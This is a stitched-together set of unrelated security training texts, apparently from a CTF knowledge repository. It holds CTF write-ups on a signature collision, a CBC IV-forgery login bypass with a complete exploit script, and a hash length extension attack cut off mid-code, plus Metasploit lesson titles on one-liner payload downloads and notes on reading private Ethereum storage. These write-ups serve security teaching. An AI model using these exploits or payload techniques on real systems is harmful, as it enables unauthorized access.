m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn
XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58
kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8
TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU
Gms=
=PiAQ
-----END PGP PUBLIC KEY BLOCK-----
```
|
sec-knowleage
|
## SaV-ls-l-aaS
SaV-ls-l-aaS (aka. Sign and Verify ls -l as a service) is a task that consists of two independent services.
First one is "frontend" written in go. Frontend exposes api for user to interact with, proxying only correct requests to the backend.
Backend is a single php file that implements Sign and Verify actions using md5 with RSA. It is accesible only from localhost, in this case, only by frontend application.
This prevents signing custom messages by calling php service directly.
Go frontend exposes following API endpoints:
- `/ip` - returning ip of the caller
- `/sign` - allows for signing of commands, although the only command that you are allowed to sign is `ls -l`
- `/exec` - verifies signed command, if this succeeds, command is executed on the server side
Executing `ls -l` command through API gives us a listing with one file called `flag.txt`.
We can easily see that our goal is to sign `cat flag.txt` command in order to read the flag.
### Signing scheme
Signing goes as follows:
- Make a POST request to `/sign` in the format of `ip=192.168.1.1&cmd=ls -l`, where `192.168.1.1` can be any ip that is accepted by the `net.ParseIP` function from go and must be equal to ip of the caller (represenatations may be different but they have to resolve to the same address - this is important later on). As far as `cmd` goes, there is no way to bypass the whitelist check in any way. Verification code for both parameters below:
```go
ip = r.PostFormValue("ip")
signIP := net.ParseIP(ip)
if signIP == nil || !signIP.Equal(remoteAddr) {
fmt.Fprintln(w, "lol, not ip :>")
return
}
cmd := r.PostFormValue("cmd")
if cmd != "ls -l" {
fmt.Fprintln(w, "lol, nope :>")
return
}
```
- Message to be signed is hashed with sha1 and converted to json, format of the signed message is `ip|cmd`
```go
msg := ip + "|" + cmd
digest := sha1.Sum([]byte(msg))
b := new(bytes.Buffer)
err = json.NewEncoder(b).Encode(string(digest[:]))
```
- Hashed message is sent to the backend to be signed with secret private RSA key
```go
resp, err := http.Post("http://127.0.0.1/index.php?action=sign", "application/json; charset=utf-8", b)
```
- Backend uses md5 with RSA algorithm to sign the message
```php
define('ALGO', 'md5WithRSAEncryption');
$d = json_decode(file_get_contents('php://input'), JSON_THROW_ON_ERROR);
error_log(print_r($d, TRUE));
if ($_GET['action'] === 'sign'){
$pkeyid = openssl_pkey_get_private("file:///var/www/private_key.pem");
openssl_sign($d, $signature, $pkeyid, ALGO);
echo json_encode(base64_encode($signature));
openssl_free_key($pkeyid);
}
```
- Signature is then prepended to the message that was signed and returned through frontend to the caller
We can summarize the signing scheme by `RSA(md5(sha1("ip|cmd")), priv_key)ip|cmd`
### Verify scheme
Verification is implemented exactly as one would expect.
First 172 bytes of the message are used as a signature, rest is used as message.
Split on `|` determines what is the value of ip and what cmd was signed.
### The bug
The bug wasn't easy to spot. Especially if someone is not working with go on the daily basis.
Bug was placed in the second step of signing scheme presented earlier.
```go
msg := ip + "|" + cmd
digest := sha1.Sum([]byte(msg))
b := new(bytes.Buffer)
err = json.NewEncoder(b).Encode(string(digest[:]))
```
First observation is that `sha1.Sum` function returns `[20]byte` array.
So `string(digest[:])` has to convert type from bytes in `digest` to string. By default this is done using `utf8` encoding.
The question is how does decoder behave when incorrect utf8 sequence is encountered. It turns out that no error is thrown.
In place of bytes that couldn't be decoded - **REPLACEMENT CHARACTER `\xfffd` is inserted**.
This behaviour is equivalent to the python `replace` option
```python
b"something".decode("utf-8", "replace")
```
We can see exactly which bytes can't be decoded by looking at `utf8.Valid` function https://golang.org/src/unicode/utf8/utf8.go?s=12830:12855#L439.
Good approximation can be determined by looking at the array found in the same file.
```go
// first is information about the first byte in a UTF-8 sequence.
var first = [256]uint8{
// 1 2 3 4 5 6 7 8 9 A B C D E F
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x00-0x0F
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x10-0x1F
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x20-0x2F
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x30-0x3F
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x40-0x4F
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x50-0x5F
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x60-0x6F
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x70-0x7F
// 1 2 3 4 5 6 7 8 9 A B C D E F
xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0x80-0x8F
xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0x90-0x9F
xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0xA0-0xAF
xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0xB0-0xBF
xx, xx, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, // 0xC0-0xCF
s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, // 0xD0-0xDF
s2, s3, s3, s3, s3, s3, s3, s3, s3, s3, s3, s3, s3, s4, s3, s3, // 0xE0-0xEF
s5, s6, s6, s6, s7, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0xF0-0xFF
}
```
If first byte is any of the position where `xx` is present, decoding will fail.
We can observe that this is around 1/4-1/3 of all values. In reality this is a bit bigger number due to existence of wrong sequences following correct first byte.
All of this means that bytes of the resulting sha1 hash which are invalid utf8 sequences, are gonna be converted to REPLACEMENT CHARACTER `\xfffd`.
### Exploit
The bug gives some collision potential, finding two different messages(ideally one with `ls -l` and one with `cat flag.txt`) that hash to 20*`\xfffd` would result in the same signature.
To find a collision we have to generate a lot of messages. This can be done thanks to many represenations of single IP address, especially with use of ipv6(although with ipv4 it works fine as well).
IP `192.168.1.1` can be represented as `::0:0:0:0:ffff:192.168.1.1`, `::0:0:0:00:ffff:192.168.1.1`, `::0:0:0:000:ffff:192.168.1.1`...
This allows us to create as many messages as we want.
So our goal is to find such `ipX` and `ipY` which both resolve to our ip and `ipX|ls -l`, `ipY|cat flag.txt` hash to 20*`\xfffd`.
This allows us to then send a first message, get the signature, prepend to the latter one and `/exec` it.
For that purpose we wrote [go program](main.go).
|
sec-knowleage
|
# Integrity (crypto)
##ENG
[PL](#pl-version)
In the task we get a service:
```python
#!/usr/bin/python -u
from Crypto.Cipher import AES
from hashlib import md5
from Crypto import Random
from signal import alarm
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
class Scheme:
def __init__(self,key):
self.key = key
def encrypt(self,raw):
raw = pad(raw)
raw = md5(raw).digest() + raw
iv = Random.new().read(BS)
cipher = AES.new(self.key,AES.MODE_CBC,iv)
return ( iv + cipher.encrypt(raw) ).encode("hex")
def decrypt(self,enc):
enc = enc.decode("hex")
iv = enc[:BS]
enc = enc[BS:]
cipher = AES.new(self.key,AES.MODE_CBC,iv)
blob = cipher.decrypt(enc)
checksum = blob[:BS]
data = blob[BS:]
if md5(data).digest() == checksum:
return unpad(data)
else:
return
key = Random.new().read(BS)
scheme = Scheme(key)
flag = open("flag",'r').readline()
alarm(30)
print "Welcome to 0CTF encryption service!"
while True:
print "Please [r]egister or [l]ogin"
cmd = raw_input()
if not cmd:
break
if cmd[0]=='r' :
name = raw_input().strip()
if(len(name) > 32):
print "username too long!"
break
if pad(name) == pad("admin"):
print "You cannot use this name!"
break
else:
print "Here is your secret:"
print scheme.encrypt(name)
elif cmd[0]=='l':
data = raw_input().strip()
name = scheme.decrypt(data)
if name == "admin":
print "Welcome admin!"
print flag
else:
print "Welcome %s!" % name
else:
print "Unknown cmd!"
break
```
As can be seen we can either login or register.
Loggin in as admin will give us the flag, so this is the ultimate goal.
We can see that we can't register as `admin` because this is explicitly checked.
Once we register we get as a result login token in the form `IV | AES_CBC(md5(login) | login)`.
Since we can modify freely the IV, we can force the decoding of md5 checksum to any value we want.
This is because in CBC block crypto the first decrypted block is `IV xor AES_decrypt(ciphertext[0])` and we know the value of `AES_decrypt(ciphertext[0])` because it is md5 of the login we provided.
So in order to force k-th decoded byte to value `X` we simply need to modify k-th byte of IV to `IV[k] ^ md5(login)[k] ^ X`.
As a result we can easily fool the md5 checksum and we can provide IV such that the decoded md5 checksum will be a checksum of `pad("admin")`.
Now we need somehow to obtain ciphertext which will decode to `pad("admin")`.
This is again quite simple, since we're dealing with block crypto and the login token does not contain any information about the length of the provided input (unlike in real HMAC).
It means that we can remove some ciphertext blocks from the end and the decryption will still work just fine, assuming the padding is correct.
So if we decide to encrypt login in a form of `pad("admin")+16_random_bytes`, the server will send us ciphertext of `pad(pad("admin")+16_random_bytes)`.
And of course this translates to 3 ciphertext blocks in a form of `pad("admin")+16_random_bytes+PKCS_padding`.
But as said before, we can simply remove the last 2 blocks of ask server to use only the first one, which decodes to `pad("admin")`!
```python
import hashlib
from crypto_commons.netcat.netcat_commons import nc, send, receive_until_match
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
def generate_payload(ct):
stripped_ct = ct[:-64] # skip last 2 blocks, the PKCS padding and the dummy block
target_md5 = hashlib.md5(pad("admin")).digest() # md5 we want to get from decryption
source_md5 = hashlib.md5(pad(pad("admin") + ("a" * 16))).digest() # md5 the server calculated
original_iv = stripped_ct[:32].decode("hex")
new_iv = []
for i in range(len(original_iv)):
new_iv.append(chr(ord(original_iv[i]) ^ ord(source_md5[i]) ^ ord(target_md5[i])))
iv = "".join(new_iv).encode("hex")
payload = iv + stripped_ct[32:]
return payload
def main():
s = nc("202.120.7.217", 8221)
print(receive_until_match(s, ".*ogin"))
send(s, "r")
send(s, pad("admin") + ("a" * 16))
print(receive_until_match(s, ".*secret:"))
ct = s.recv(9999).split("\n")[1]
send(s, "l")
send(s, generate_payload(ct))
print(s.recv(9999))
print(s.recv(9999))
print(s.recv(9999))
main()
```
And this gives us `flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}`
##PL version
W zadaniu dostajemy dostęp do serwisu:
```python
#!/usr/bin/python -u
from Crypto.Cipher import AES
from hashlib import md5
from Crypto import Random
from signal import alarm
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
class Scheme:
def __init__(self,key):
self.key = key
def encrypt(self,raw):
raw = pad(raw)
raw = md5(raw).digest() + raw
iv = Random.new().read(BS)
cipher = AES.new(self.key,AES.MODE_CBC,iv)
return ( iv + cipher.encrypt(raw) ).encode("hex")
def decrypt(self,enc):
enc = enc.decode("hex")
iv = enc[:BS]
enc = enc[BS:]
cipher = AES.new(self.key,AES.MODE_CBC,iv)
blob = cipher.decrypt(enc)
checksum = blob[:BS]
data = blob[BS:]
if md5(data).digest() == checksum:
return unpad(data)
else:
return
key = Random.new().read(BS)
scheme = Scheme(key)
flag = open("flag",'r').readline()
alarm(30)
print "Welcome to 0CTF encryption service!"
while True:
print "Please [r]egister or [l]ogin"
cmd = raw_input()
if not cmd:
break
if cmd[0]=='r' :
name = raw_input().strip()
if(len(name) > 32):
print "username too long!"
break
if pad(name) == pad("admin"):
print "You cannot use this name!"
break
else:
print "Here is your secret:"
print scheme.encrypt(name)
elif cmd[0]=='l':
data = raw_input().strip()
name = scheme.decrypt(data)
if name == "admin":
print "Welcome admin!"
print flag
else:
print "Welcome %s!" % name
else:
print "Unknown cmd!"
break
```
Jak łatwo zauważyć możemy się zalogować lub zarejetrować.
Logowanie jako admin pozwoli uzyskać flagę i to jest naszym finalnym celem.
Możemy zauważyć, że nie możemy zarejestrować się jako `admin` ponieważ jest to wyraźnie sprawdzane.
Po rejestracji dostajemy token logowania w postaci `IV | AES_CBC(md5(login) | login)`.
Ponieważ możemy dowolnie zmieniać IV, możemy wymusić dowolne dekodowanie wartości md5.
Wynika to bezpośrednio z tego jak działa szyfr blokowy w trybie CBC - pierwszy dekodowany blok to `IV xor AES_decrypt(ciphertext[0])` a znamy wartość `AES_decrypt(ciphertext[0])`bo to md5 wyliczone z wprowadzonych przez nas danych.
Więc żeby wymusić dekodowanie k-tego bajtu do wartości `X` musimy jedynie zmienić k-ty bajt IV na `IV[k] ^ md5(login)[k] ^ X`
W efekcie możemy w prosty sposób oszukać checksume md5 i podać takie IV, że odkodowane md5 będzie zgodne z checksumą dla `pad("admin")`.
Teraz potrzebujemy uzyskać ciphertext który zdekoduje się do `pad("admin")`.
To znów jest dość proste, ponieważ mamy do czynienia z szyfrem blokowym a token logowania nie zawiera nigdzie informacji o długości wprowadzonych danych (w przeciwieństwie do prawdziwego HMAC).
To oznacza, że możemy usunąć kilka bloków ciphertextu z końca a deszyfrowanie nadal przebiegnie pomyślnie, o ile padding się zgadza.
Jeśli więc zdecydujemy się zaszyfrować login w postaci `pad("admin")+16_random_bytes` serwer odeśle nam ciphertext dla `pad(pad("admin")+16_random_bytes)`
A to oczywiście oznacza że dostaniemy 3 bloki ciphertextu w postaci `pad("admin")+16_random_bytes+PKCS_padding`.
Jak wspomnieliśmy wcześniej, możemy teraz usunąć 2 ostatnie bloki i poprosić serwer o deszyfrowanie tylko pierwszego, który dekoduje się do `pad("admin")`!
```python
import hashlib
from crypto_commons.netcat.netcat_commons import nc, send, receive_until_match
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
def generate_payload(ct):
stripped_ct = ct[:-64] # skip last 2 blocks, the PKCS padding and the dummy block
target_md5 = hashlib.md5(pad("admin")).digest() # md5 we want to get from decryption
source_md5 = hashlib.md5(pad(pad("admin") + ("a" * 16))).digest() # md5 the server calculated
original_iv = stripped_ct[:32].decode("hex")
new_iv = []
for i in range(len(original_iv)):
new_iv.append(chr(ord(original_iv[i]) ^ ord(source_md5[i]) ^ ord(target_md5[i])))
iv = "".join(new_iv).encode("hex")
payload = iv + stripped_ct[32:]
return payload
def main():
s = nc("202.120.7.217", 8221)
print(receive_until_match(s, ".*ogin"))
send(s, "r")
send(s, pad("admin") + ("a" * 16))
print(receive_until_match(s, ".*secret:"))
ct = s.recv(9999).split("\n")[1]
send(s, "l")
send(s, generate_payload(ct))
print(s.recv(9999))
print(s.recv(9999))
print(s.recv(9999))
main()
```
A to daje nam `flag{Easy_br0ken_scheme_cann0t_keep_y0ur_integrity}`
|
sec-knowleage
|
### [第三十一课：msf的前生今世](../Chapter1/31_msf的前生今世.md)
### [第三十二课：配置vps上的msf](../Chapter1/32_配置vps上的msf.md)
### [第三十三课：攻击Mysql服务](../Chapter1/33_攻击Mysql服务.md)
### [第三十四课：攻击Sql server 服务](../Chapter1/34_攻击SqlServer服务.md)
### [第三十五课：与Sqlmap结合攻击](../Chapter1/35_与Sqlmap结合攻击.md)
### [第三十六课：解决vps上ssh掉线](../Chapter1/36_解决vps上ssh掉线.md)
### [第三十七课：vbs一句话下载payload](../Chapter1/37_vbs一句话下载payload.md)
### [第三十八课：certutil一句话下载payload](../Chapter1/38_certutil一句话下载payload.md)
### [第三十九课：vbs一句话下载payload补充](../Chapter1/39_vbs一句话下载payload补充.md)
### [第四十课：ftp一句话下载payload](../Chapter1/40_ftp一句话下载payload.md)
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH BASENC 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
basenc \- 编码/解码数据并输出至标准输出
.SH 概述
\fBbasenc\fP [\fI\,选项\/\fP]... [\fI\,文件\/\fP]
.SH 描述
.\" Add any additional description here
.PP
basenc 可以编码/解码文件或标准输入输出。
.PP
如果没有指定文件，或者指定文件为“\-”，则从标准输入读取。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-\-base64\fP
与 'base64' 程序相同（RFC4648 section 4）
.TP
\fB\-\-base64url\fP
文件安全和 url 安全的 base64（RFC4648 section 5）
.TP
\fB\-\-base32\fP
与 'base32' 程序相同（RFC4648 section 6）
.TP
\fB\-\-base32hex\fP
扩展的十六进制（hex）字母表 base32（RFC4648 section 7）
.TP
\fB\-\-base16\fP
十六进制（hex）编码（RFC4648 section 8）
.TP
\fB\-\-base2msbf\fP
位字符串，最高位（msb）最先
.TP
\fB\-\-base2lsbf\fP
位字符串，最低位（lsb）最先
.TP
\fB\-d\fP, \fB\-\-decode\fP
解码数据
.TP
\fB\-i\fP, \fB\-\-ignore\-garbage\fP
解码时忽略非字母字符
.TP
\fB\-w\fP, \fB\-\-wrap\fP=\fI\,字符数\/\fP
在指定的字符数后自动换行(默认为76)，0 为禁用自动换行
.TP
\fB\-\-z85\fP
类似 ascii85 的编码（ZeroMQ 标准：32/Z85）；编码时，输入长度必须是 4 的倍数；解码时，输入长度必须是 5 的倍数；
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
解码时，输入数据（编码流）可能包含一些换行符，以及不在有效字符范围之内的字符。可以尝试用 \fB\-\-ignore\-garbage\fP
选项来绕过编码流中的无效字符。
.SH 编码示例
.PP
.nf
.RS
$ printf '\e376\e117\e202' | basenc \-\-base64
/k+C
$ printf '\e376\e117\e202' | basenc \-\-base64
/k+C
$ printf '\e376\e117\e202' | basenc \-\-base32
7ZHYE===
$ printf '\e376\e117\e202' | basenc \-\-base32hex
VP7O4===
$ printf '\e376\e117\e202' | basenc \-\-base16
FE4F82
$ printf '\e376\e117\e202' | basenc \-\-base2lsbf
011111111111001001000001
$ printf '\e376\e117\e202' | basenc \-\-base2msbf
111111100100111110000010
$ printf '\e376\e117\e202\e000' | basenc \-\-z85
@.FaC
.RE
.fi
.SH 作者
由 Simon Josefsson 和 Assaf Gordon 编写。
.SH 报告错误
GNU coreutils 的在线帮助： <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
完整文档请见： <https://www.gnu.org/software/coreutils/basenc>
.br
或者在本地使用： info \(aq(coreutils) basenc invocation\(aq
|
sec-knowleage
|
### Ethereum Storage插槽
以太坊数据存储会为合约的每项数据指定一个可计算的存储位置，存放在一个容量为 2^256 的超级数组中，数组中每个元素称为插槽，其初始值为 0。虽然数组容量的上限很高，但实际上存储是稀疏的，只有非零(空值)数据才会被真正写入存储。
```
# 插槽式数组存储
----------------------------------
| 0 | # slot 0
----------------------------------
| 1 | # slot 1
----------------------------------
| 2 | # slot 2
----------------------------------
| ... | # ...
----------------------------------
| ... | # 每个插槽 32 字节
----------------------------------
| ... | # ...
----------------------------------
| 2^256-1 | # slot 2^256-1
----------------------------------
```
当数据长度是已知时，其具体的存储位置将在编译时指定，而对于长度不确定的类型（如动态数组、映射），则会按一定规则计算存储位置。以下是对不同类型变量的储存模型的具体分析。
### Ethereum Storage值类型
除映射和动态数组之外的所有类型，其数据长度都是已知的，如定长整型(`int`/`uint`/...), 地址(`address`), 定长浮点型(`fixed`/`ufixed`/...), 定长字节数组(`bytes1`-`bytes32`)，编译时将严格根据字段排序顺序，从位置 0 开始连续放置在存储中。如果可能的话，大小少于 32 字节的多个变量会被打包到一个插槽中，而当某项数据超过 32 字节，则需要占用多个连续插槽（`data.length / 32`）。规则如下：
- 存储插槽的第一项会以低位对齐（即右对齐）的方式储存。
- 基本类型仅使用存储它们所需的字节。
- 如果存储插槽中的剩余空间不足以储存一个基本类型，那么它会被移入下一个存储插槽。
- 结构和数组数据总是会占用一整个新插槽（但结构或数组中的各项，都会以这些规则进行打包）。
如以下合约：
```solidity
pragma solidity ^0.4.0;
contract C {
address a; // 0
uint8 b; // 0
uint256 c; // 1
bytes24 d; // 2
}
```
其存储布局如下：
```
-----------------------------------------------------
| unused (11) | b (1) | a (20) | <- slot 0
-----------------------------------------------------
| c (32) | <- slot 1
-----------------------------------------------------
| unused (8) | d (24) | <- slot 2
-----------------------------------------------------
```
### Ethereum Storage映射
对于形如 `mapping(address => uint) a;` 的映射类型变量，就无法简单仿照值类型按顺序储存了。对于映射，其会根据上节提到的规则占据位置 `p` 处的一个插槽，但该插槽不会被真正使用。映射中的键 `k` 所对应的值会位于 `keccak256(k . p)`， 其中 `.` 是连接符。如果该值同时是一个非基本类型，则将 `keccak256(k . p)` 作为偏移量来找到具体的位置。
如以下合约：
```solidity
pragma solidity ^0.4.0;
contract C {
mapping(address => uint) a; // 0
uint256 b; // 1
}
```
其存储布局如下：
```
-----------------------------------------------------
| reserved (a) | <- slot 0
-----------------------------------------------------
| b (32) | <- slot 1
-----------------------------------------------------
| ... | ......
-----------------------------------------------------
| a[addr] (32) | <- slot `keccak256(addr . 0)`
-----------------------------------------------------
| ... | ......
-----------------------------------------------------
```
### Ethereum Storage动态数组
对于形如 `uint[] b;` 的动态数组，其同样会占用对应位置 `p` 处的插槽，用以储存数组的长度，而数组真正的起始点会位于 `keccak256(p)` 处（字节数组和字符串在这里是一个例外，见下文）。
如以下合约：
```solidity
pragma solidity ^0.4.0;
contract C {
uint256 a; // 0
uint[] b; // 1
uint256 c; // 2
}
```
其存储布局如下：
```
-----------------------------------------------------
| a (32) | <- slot 0
-----------------------------------------------------
| b.length (32) | <- slot 1
-----------------------------------------------------
| c (32) | <- slot 2
-----------------------------------------------------
| ... | ......
-----------------------------------------------------
| b[0] (32) | <- slot `keccak256(1)`
-----------------------------------------------------
| b[1] (32) | <- slot `keccak256(1) + 1`
-----------------------------------------------------
| ... | ......
-----------------------------------------------------
```
### Ethereum Storage字节数组和字符串
如果 `bytes` 和 `string` 的数据很短，那么它们的长度也会和数据一起存储到同一个插槽。具体地说：如果数据长度小于等于 31 字节， 则它存储在高位字节（左对齐），最低位字节存储 `length * 2`。如果数据长度超出 31 字节，则在主插槽存储 `length * 2 + 1`， 数据照常存储在 `keccak256(slot)` 中。
### Ethereum Storage可见性
由于以太坊上的所有信息都是公开的，所以即使一个变量被声明为 `private`，我们仍能读到变量的具体值。
利用 web3 提供的 `web3.eth.getStorageAt()` 方法，可以读取一个以太坊地址上指定位置的存储内容。所以只要计算出了一个变量对应的插槽位置，就可以通过调用该函数来获得该变量的具体值。
调用：
```javascript
// web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])
web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0)
.then(console.log);
> "0x033456732123ffff2342342dd12342434324234234fd234fd23fd4f23d4234"
```
参数：
- `address`：String - 要读取的地址
- `position`：Number - 存储中的索引编号
- `defaultBlock`：Number|String - 可选，使用该参数覆盖 web3.eth.defaultBlock 属性值
- `callback`：Function - 可选的回调函数, 其第一个参数为错误对象，第二个参数为结果。
|
sec-knowleage
|
# Vhash (crypto 450p)
###ENG
[PL](#pl-version)
In the task we get access to a webpage where we can login as guest/guest and as a result we get a cookie containing:
`SOME_LONG_HEX_HASH|username=guest&date=2017-02-13T23:45:45+0000&secret_length=8&`
We also get to see the [source code](index.php) of the webpage and a [binary](vhash) which is used to generate the hash value.
From analysis of the index page we can see that the hash value is generated with
```php
function create_hmac($data) {
return do_hash(SECRET . $data);
}
```
So there is some secret glued in front of the cookie data and then `vhash` binary is execute on this input.
When the website is authenticating us with the cookie it takes the cookie data, calculates the hash again and compares it agains what is in the cookie.
The idea is that we can't modify the cookie value (eg, by setting username to `admin`) because the hash would have to be changed as well.
And we can't calculate the proper hash without knowing the secret bytes added by the server.
We notice that the server creates a map out of cookie parameters by parsing them in-order.
As a result if a certain property is defined more than once, only the last value will get stored:
```php
$pairs = explode('&', $cookie);
$args = array();
foreach($pairs as $pair) {
if(!strpos($pair, '='))
continue;
list($name, $value) = explode('=', $pair, 2);
$args[$name] = $value;
}
$username = $args['username'];
```
So if we could append to the cookie `&username=administrator&` we would get past the security check!
Once we reverse engineer vhash binary and analyse it, we can see that it is actually prone to `Hash Length Extension` attack.
The general schema of the algorithm is:
1. Set initial state
2. Split input into blocks
3. For each block:
- Take input block
- Use `hash_update` to perform computations over the current state and input block
- Save the results as new current state
4. Finalize the algorithm by using `hash_update` with a certain fixed block dependent only on length of already hashed input
5. Print current state as final hash
We know that the cookie we get from the page is in fact hashed value of `secret+cookie_payload+final_hash_block`.
If we now set this hash as `current state` of the hashing algorithm and perform `hash_update` with some additional payload we will actually get a proper hash value for `secret+cookie_payload+final_hash_block+additional_payload`!
And since we know exactly how long this payload is, we can also add here the new `final_hash_block2`, as a result getting a proper hash value of `secret+cookie_payload+final_hash_block+additional_payload+final_hash_block2`.
All of this without actually knowing the `secret` bytes at all, just the `state` of the algorithm.
Now let's think what server will do if we pass as cookie payload string of `cookie_payload+final_hash_block+additional_payload`.
The server will add secret bytes in front getting `secret+cookie_payload+final_hash_block+additional_payload` and then will hash it adding the final block at the end, which will result in `secret+cookie_payload+final_hash_block+additional_payload+final_hash_block2`.
And this is exactly the same thing as we mentioned before!
So by passing such input we can actually generate proper hash value without knowing the secret.
We rewritten the hash algorithm into C to be able to test is easily:
```c
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <x86intrin.h>
struct vhash_ctx{
uint32_t state[32];
};
inline unsigned int rol4(unsigned int value, int count) { return _rotl((unsigned int)value, count); }
void vhash_init(vhash_ctx *vctx)
{
memcpy(vctx, "vhas", 4uLL);
memcpy(&vctx->state[1], "h: r", 4uLL);
memcpy(&vctx->state[2], "ock ", 4uLL);
memcpy(&vctx->state[3], "hard", 4uLL);
memcpy(&vctx->state[4], " 102", 4uLL);
memcpy(&vctx->state[5], "4 bi", 4uLL);
memcpy(&vctx->state[6], "t se", 4uLL);
memcpy(&vctx->state[7], "curi", 4uLL);
memcpy(&vctx->state[8], "ty. ", 4uLL);
memcpy(&vctx->state[9], "For ", 4uLL);
memcpy(&vctx->state[10], "thos", 4uLL);
memcpy(&vctx->state[11], "e sp", 4uLL);
memcpy(&vctx->state[12], "ecia", 4uLL);
memcpy(&vctx->state[13], "l mo", 4uLL);
memcpy(&vctx->state[14], "mome", 4uLL);
memcpy(&vctx->state[15], "nts ", 4uLL);
memcpy(&vctx->state[16], "when", 4uLL);
memcpy(&vctx->state[17], " you", 4uLL);
memcpy(&vctx->state[18], " nee", 4uLL);
memcpy(&vctx->state[19], "d th", 4uLL);
memcpy(&vctx->state[20], "robb", 4uLL);
memcpy(&vctx->state[21], "ing ", 4uLL);
memcpy(&vctx->state[22], "perf", 4uLL);
memcpy(&vctx->state[23], "orma", 4uLL);
memcpy(&vctx->state[24], "nce.", 4uLL);
memcpy(&vctx->state[25], " Ask", 4uLL);
memcpy(&vctx->state[26], " you", 4uLL);
memcpy(&vctx->state[27], "r do", 4uLL);
memcpy(&vctx->state[28], "ctor", 4uLL);
memcpy(&vctx->state[29], " abo", 4uLL);
memcpy(&vctx->state[30], "ut v", 4uLL);
memcpy(&vctx->state[31], "hash", 4uLL);
}
void vhash_round(vhash_ctx *vctx)
{
for (int i = 0; i <= 31; ++i )
++vctx->state[i];
for (int ia = 0; ia <= 31; ++ia )
{
uint32_t v1 = rol4(vctx->state[ia], ia);
vctx->state[ia] = v1;
}
for (int ib = 0; ib <= 31; ++ib )
vctx->state[ib] += vctx->state[((((unsigned int)((ib + 1) >> 31) >> 27) + (uint8_t)ib + 1) & 0x1F)
- ((unsigned int)((ib + 1) >> 31) >> 27)];
for (int ic = 0; ic <= 31; ++ic )
vctx->state[ic] ^= vctx->state[((((unsigned int)((ic + 7) >> 31) >> 27) + (uint8_t)ic + 7) & 0x1F)
- ((unsigned int)((ic + 7) >> 31) >> 27)];
uint32_t t = vctx->state[0];
for (int id = 0; id <= 30; ++id )
vctx->state[id] = vctx->state[id + 1];
vctx->state[31] = t;
}
void vhash_update(vhash_ctx *vctx, uint32_t (*in)[4])
{
for (int i = 0; i <= 31; ++i )
vctx->state[i] += (*in)[((((unsigned int)((uint64_t)i >> 32) >> 30) + (uint8_t)i) & 3)
- ((unsigned int)((uint64_t)i >> 32) >> 30)];
for (int ia = 0; ia <= 511; ++ia )
vhash_round(vctx);
for (int ib = 0; ib <= 31; ++ib )
vctx->state[ib] ^= (*in)[((((unsigned int)((uint64_t)ib >> 32) >> 30) + (uint8_t)ib) & 3)
- ((unsigned int)((uint64_t)ib >> 32) >> 30)];
for (int ic = 0; ic <= 511; ++ic )
vhash_round(vctx);
}
void vhash_final(vhash_ctx *vctx, uint32_t len)
{
uint32_t f[4];
f[0] = 2147483648;
f[1] = len;
f[2] = 0;
f[3] = -1;
vhash_update(vctx, (uint32_t (*)[4])f);
}
void print_hash(vhash_ctx *vctx)
{
for (int i = 0; i <= 7; ++i )
printf(
"%08x%08x%08x%08x",
vctx->state[4 * i],
vctx->state[4 * i + 1],
vctx->state[4 * i + 2],
vctx->state[4 * i + 3]);
printf("\n");
}
void process_data(const char *data, vhash_ctx* vctx, uint32_t &size, uint32_t len) {
int done = 0;
size= 0;
uint32_t block[4];
while ( !done )
{
memset(block, 0, 0x10uLL);
for (int i = 0; (unsigned int)i <= 0xF; ++i )
{
if ( size<len )
{
uint8_t inbyte = data[size];
++size;
block[i / 4] |= inbyte << 8 * (3 - (char)i % 4);
}
else
{
done = 1;
break;
}
}
vhash_update(vctx, (uint32_t (*)[4])block);
